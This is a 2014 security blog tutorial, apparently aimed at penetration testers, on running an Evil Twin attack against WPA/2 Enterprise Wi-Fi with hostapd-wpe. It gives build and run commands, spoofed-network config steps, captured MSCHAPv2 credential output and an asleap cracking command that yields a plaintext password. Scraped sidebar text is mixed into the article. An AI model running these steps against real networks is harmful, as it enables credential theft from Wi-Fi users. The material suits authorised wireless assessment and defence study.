(http://warroom.securestate.com)

Home (http://warroom.securestate.com/)

About Us (https://warroom.securestate.com/index.php/about-us/)

Github (https://github.com/securestate)

SecureState (http://securestate.com)

December 30, 2014
tate.com/index.php/evil-
ack-using-hostapd-wpe/)
patchwork
.php/author/patchwork/)
Attack
ex.php/category/attack/)
hostapd-wpe
/index.php/tag/hostapd-
wpe/), Install
/index.php/tag/install/),
Tools
n/index.php/tag/tools/),
Tutorial
index.php/tag/tutorial/),
Wireless
index.php/tag/wireless/)

Evil Twin Attack Using hostapd-wpe

The Evil Twin Attack has been around for some time. In the past, when we've run across WPA/2 Enterprise Wireless networks while on assessments, we'd break out a separate router and sit in a parking lot or lunch room waiting for victims to pass. The attack was simple, but the setup was overly complicated and left us tied to a power outlet. Fortunately, all that is in the past. A few months ago, we discovered the hostapd-wpe tool released by OpenSecurityResearch (https://github.com/OpenSecurityResearch/hostapd-wpe). It is a self-contained replacement for the FreeRADIUS/wireless AP solution.

How the Evil Twin Attack Works

Before going into how to setup the attack, we should briefly cover our objective. The purpose is not to set up a man-in-the-middle attack. Rather, the goal is to trick client devices into authenticating to our fake access point. If the process completes successfully, the end result is a username and hashed password which can be cracked using either asleap (http://wirelessdefence.org/Contents/AsleapMain.htm)or John the Ripper (https://en.wikipedia.org/wiki/John_the_Ripper). In order for the attack to work, users must either have configured their devices to accept invalid server certificates or manually accept the Evil Twin's invalid certificate. Previously, this could only be accomplished using a physical access point which limits the application to scenarios involving power plugs. Fortunately, hostapd-wpe allows you to execute the attack from a standalone system making it significantly more useful.

Hostapd-wpe currently supports the following impersonation options for attacking EAP:

1. EAP-FAST/MSCHAPv2 (Phase 0)
2. PEAP/MSCHAPv2
3. EAP-TTLS/MSCHAPv2
4. EAP-TTLS/MSCHAP
5. EAP-TTLS/CHAP
6. EAP-TTLS/PAP

Setting Up Hostapd-wpe

The following steps have been adapted from OpenSecurityResearch's hostapd-wpe Github page.

1. Clone OpenSecurityResearch's repository:

Search …

RSS Feed (https://warroom.securestate.com/index.php/feed/atom/)

Archives

- January 2015 (https://warroom.securestate.com/index.php/2015/01/)
- December 2014 (https://warroom.securestate.com/index.php/2014/12/)
- November 2014 (https://warroom.securestate.com/index.php/2014/11/)
- October 2014 (https://warroom.securestate.com/index.php/2014/10/)
- September 2014 (https://warroom.securestate.com/index.php/2014/09/)

Categories

- Attack (https://warroom.securestate.com/index.php/category/attack/)
- Defense (https://warroom.securestate.com/index.php/category/defense/)
- Research & Innovation

```
git clone https://github.com/OpenSecurityResearch/hostapd-wpe (https://github.com/OpenSecurityResearch/hostapd-wpe)
```

2. Make sure to install a pair of misc dependencies as well.

```
apt-get install libssl-dev libnl-dev
```

3. Download and apply the hostapd-wpe patch:

wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz (http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz)

```
tar -zxf hostapd-2.2.tar.gz

cd hostapd-2.2 patch -p1 < ../hostapd-wpe/hostapd-wpe.patch

cd hostapd make
```

4. OpenSecurityResearch copied the necessary certificates and scripts from FreeRADIUS in order to minimize the pain in transitioning to the new tool:

```
cd ../../hostapd-wpe/certs
./bootstrap
```

5. In order to run hostapd, simply point it at the appropriate configuration file. Be sure to edit the file before you use it!

```
cd ../../hostapd-2.2/hostapd
sudo ./hostapd-wpe hostapd-wpe.conf
```

Edit the Config File

There are a few important lines to edit in hostapd-wpe.conf before the tool will work correctly. First, make sure the appropriate interface is listed and comment out the wired driver line. No need for monitor mode or anything fancy with this tool. Uncomment the ssid, hw_mode, and channel lines and set ssid and channel to the appropriate, spoofed values. Leave the hw_mode line alone. Save your finished config and you should be ready to go.

Troubleshooting

I've run into a few hardware compatibility issues with various alpha cards. I've had the most success with the AWUS036NH (http://www.amazon.com/gp/product/B0038Q4AIG).

Use the following commands to deal with the pesky "hostapd error "nl80211: Could not configure driver mode" issue if hostapd-wpe throws a fit.

(https://warroom.securestate.com/index.php/category/research/)
Uncategorized (https://warroom.securestate.com/index.php/category/uncategorized/)

```
sudo nmcli nm wifi off
sudo rfkill unblock wlan
```

If the problem persists, try a new card.

Success and Capture

While hostapd-wpe is running, keep an eye on the console output for username/challenge/response combinations. Alternatively, you can tail the log file in the same directory. In both cases, the output will resemble the following:

```
username: patchwork
challenge: ac:57:6b:4a:27:99:9c:51
response: 2e:01:41:5c:g6:76:0b:dc:25:3a:0e:96:a8:fb:f1:fd:a2:14:8a:02:10:02:6c:ff
```

The challenge and response can be fed to Asleap for speedy, wordlist-based cracking. Additionally, MSCHAPv2 creds are also output in the NetNTLM format which can be used with John the Ripper.

```
asleap -C ac:57:6b:4a:27:99:9c:51 -R 2e:01:41:5c:g6:76:0b:dc:25:3a:0e:96:a8:fb:f1:fd:a2:14:8a:02:10:02:6c:ff -W <Dictionary_File>

asleap 2.2 – actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
hash bytes: b1cd
NT hash: a4f49c406510bdcab6824ee7c30fd852
password: password
```

If all goes well, you'll be rewarded with the captured user's plaintext password.

Happy hunting!

(https://warroom.securestate.com/index.php/author/patchwork/)

Patchwork (Https://Warroom.securestate.com/Index.php/Author/Patchwork/)

Former military intelligence. Wireless specialist. Dabbles in physical security and threat analysis.

Analyzing Safe Exception Handlers (https://warroom.securestate.com/index.php/analyzing-safe-exception-handlers/)

VoIP Penetration Testing: Introduction (https://warroom.securestate.com/index.php/voip-penetration-testing-introduction/)

PAGES

About Us (https://warroom.securestate.com/index.php/about-us/)

ARCHIVES

January 2015 (https://warroom.securestate.com/index.php/2015/01/)

December 2014 (https://warroom.securestate.com/index.php/2014/12/)

November 2014 (https://warroom.securestate.com/index.php/2014/11/)

October 2014 (https://warroom.securestate.com/index.php/2014/10/)

September 2014 (https://warroom.securestate.com/index.php/2014/09/)

CATEGORIES

Attack (https://warroom.securestate.com/index.php/category/attack/) (6)

Defense (https://warroom.securestate.com/index.php/category/defense/) (3)

Research & Innovation (https://warroom.securestate.com/index.php/category/research/) (5)

Uncategorized (https://warroom.securestate.com/index.php/category/uncategorized/) (2)